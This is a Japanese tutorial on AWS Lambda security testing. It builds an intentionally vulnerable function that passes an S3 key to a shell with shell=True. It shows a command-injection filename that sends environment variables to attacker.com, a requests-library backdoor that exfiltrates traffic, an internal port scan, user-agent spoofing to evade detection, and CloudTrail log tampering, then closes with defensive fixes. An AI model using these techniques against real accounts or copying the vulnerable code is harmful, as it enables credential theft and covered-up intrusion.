AWS Lambdaのセキュリティ評価実践

AWS Lambdaはサーバーレスアーキテクチャの核となるサービスで、コード実行環境をオンデマンドで提供します。この環境ではファイルシステムが読み取り専用で、root権限が制限されていますが、依然としてセキュリティリスクが存在します。

脆弱な関数の構築例

セキュリティ評価用の環境として、S3バケットにアップロードされたZIPファイルを処理する関数を作成します。この関数には意図的な脆弱性を含めています。

1. S3バケットとIAMロールの設定

// IAMロールポリシー例
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "lambda.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

2. Lambda関数の作成

import boto3
import subprocess
from urllib.parse import unquote_plus

def process_s3_event(event):
    s3_client = boto3.client('s3')
    
    for record in event.get('Records', []):
        try:
            bucket = record['s3']['bucket']['name']
            key = unquote_plus(record['s3']['object']['key'])
            
            if not key.endswith('.zip'):
                continue
                
            # ファイルのダウンロード
            response = s3_client.get_object(Bucket=bucket, Key=key)
            temp_path = f"/tmp/{key.split('/')[-1]}"
            
            with open(temp_path, 'wb') as f:
                f.write(response['Body'].read())
            
            # シェルコマンド実行（脆弱性）
            cmd = f"unzip -l {temp_path} | wc -l"
            file_count = subprocess.check_output(
                cmd, shell=True, stderr=subprocess.STDOUT
            ).decode().strip()
            
            # タグ付け
            s3_client.put_object_tagging(
                Bucket=bucket,
                Key=key,
                Tagging={'TagSet': [
                    {'Key': 'FileCount', 'Value': file_count}
                ]}
            )
            
        except Exception as e:
            print(f"Error: {e}")

読み取り専用権限での攻撃シナリオ

Lambdaへの読み取り権限のみを持つ攻撃者が実行可能な手法を検証します。

1. 環境変数の列挙

# Lambda関数の情報取得
aws lambda get-function-configuration \
    --function-name TargetFunction \
    --region us-east-1

# レスポンス例
{
    "Environment": {
        "Variables": {
            "API_KEY": "secret_value_123",
            "DB_PASSWORD": "admin_pass"
        }
    }
}

2. 静的コード解析

# Banditを使用したセキュリティスキャン
bandit -r ./lambda_code/ -f json

# 検出例
{
    "issue_id": "B602",
    "severity": "HIGH",
    "confidence": "HIGH",
    "issue_text": "subprocess call with shell=True"
}

3. インジェクション攻撃

S3オブジェクトキーを介したコマンドインジェクションを実行します。

# 悪意のあるファイル名の作成
filename="test;curl http://attacker.com/$(env|base64);.zip"
touch "$filename"

# S3へのアップロード
aws s3 cp "./$filename" s3://target-bucket/

読み書き権限を利用した権限昇格

完全なLambda権限を持つ場合の攻撃手法を検証します。

1. 既存関数の改変

# Lambda関数コードの取得と改変
original_code = aws lambda get-function --function-name TargetFunction
modified_code = inject_backdoor(original_code)

# 更新された関数のデプロイ
aws lambda update-function-code \
    --function-name TargetFunction \
    --zip-file fileb://modified.zip

2. 依存ライブラリへのバックドア設置

# サードパーティライブラリの改竄
# requestsライブラリの_getメソッドを変更
def patched_get(url, **kwargs):
    # 元の機能
    response = original_get(url, **kwargs)
    
    # 追加機能：通信内容の窃取
    exfil_data = {
        'url': url,
        'timestamp': datetime.now().isoformat(),
        'headers': dict(response.headers)
    }
    send_to_attacker(exfil_data)
    
    return response

VPC内部ネットワークへのアクセス

VPC内で実行されるLambda関数を介した内部リソースへのアクセス手法を検証します。

import socket
import requests

def scan_internal_network():
    # 内部IPレンジのスキャン
    base_ip = "172.31.32"
    
    for i in range(1, 255):
        target = f"{base_ip}.{i}"
        try:
            # HTTPサービスの検出
            response = requests.get(
                f"http://{target}:80",
                timeout=2
            )
            print(f"Found HTTP service at {target}")
            
            # データベースポートの確認
            for port in [3306, 5432, 27017]:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(1)
                result = sock.connect_ex((target, port))
                if result == 0:
                    print(f"Open port {port} on {target}")
                sock.close()
                
        except Exception:
            continue

検出回避技術

監視システムによる検出を回避するための手法を検証します。

1. 正規のユーザーエージェントの模倣

# CloudTrailログから正規のユーザーエージェントを収集
# 例：aws-cli/1.18.69 Python/3.8.2 Linux/4.14 botocore/1.16.19

# 模倣したリクエストの送信
headers = {
    'User-Agent': 'aws-cli/1.18.69 Python/3.8.2 Linux/4.14 botocore/1.16.19',
    'X-Amz-Date': '20230815T120000Z'
}

2. ログ汚染による痕跡隠蔽

def clean_trail_logs(bucket_name, log_prefix):
    # CloudTrailログの検索と改変
    s3 = boto3.client('s3')
    
    # ログファイルの一覧取得
    objects = s3.list_objects_v2(
        Bucket=bucket_name,
        Prefix=log_prefix
    )
    
    for obj in objects.get('Contents', []):
        # ログファイルのダウンロード
        log_data = s3.get_object(
            Bucket=bucket_name,
            Key=obj['Key']
        )
        
        # 攻撃痕跡の削除
        cleaned_logs = remove_attack_patterns(
            log_data.read().decode()
        )
        
        # 変更後のログをアップロード
        s3.put_object(
            Bucket=bucket_name,
            Key=obj['Key'],
            Body=cleaned_logs
        )

防御策の実装

Lambda関数のセキュリティを強化するための実践的な対策を提示します。

1. 入力値の検証とサニタイズ

import re

def validate_s3_key(key):
    # パストラバーサル対策
    if '..' in key or key.startswith('/'):
        raise ValueError("Invalid key path")
    
    # シェルメタ文字の除去
    cleaned = re.sub(r'[;&|`$(){}]', '', key)
    
    # 拡張子の検証
    allowed_extensions = {'.zip', '.txt', '.json'}
    if not any(cleaned.endswith(ext) for ext in allowed_extensions):
        raise ValueError("Invalid file extension")
    
    return cleaned

2. 最小権限の原則に基づくIAMロール

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:PutObjectTagging"
            ],
            "Resource": "arn:aws:s3:::specific-bucket/*"
        },
        {
            "Effect": "Deny",
            "Action": "s3:*",
            "Resource": "*"
        }
    ]
}

3. セキュアなコマンド実行

import subprocess
import shlex

def safe_command_execution(file_path):
    # シェルを介さない実行
    result = subprocess.run(
        ['unzip', '-l', file_path],
        capture_output=True,
        text=True,
        timeout=30
    )
    
    if result.returncode != 0:
        raise RuntimeError(f"Command failed: {result.stderr}")
    
    return result.stdout

4. 環境変数の保護

# AWS Systems Manager Parameter Storeの利用
import boto3

def get_secret(parameter_name):
    ssm = boto3.client('ssm')
    response = ssm.get_parameter(
        Name=parameter_name,
        WithDecryption=True
    )
    return response['Parameter']['Value']

# Lambdaハンドラー内での使用
db_password = get_secret('/prod/database/password')
api_key = get_secret('/prod/api/key')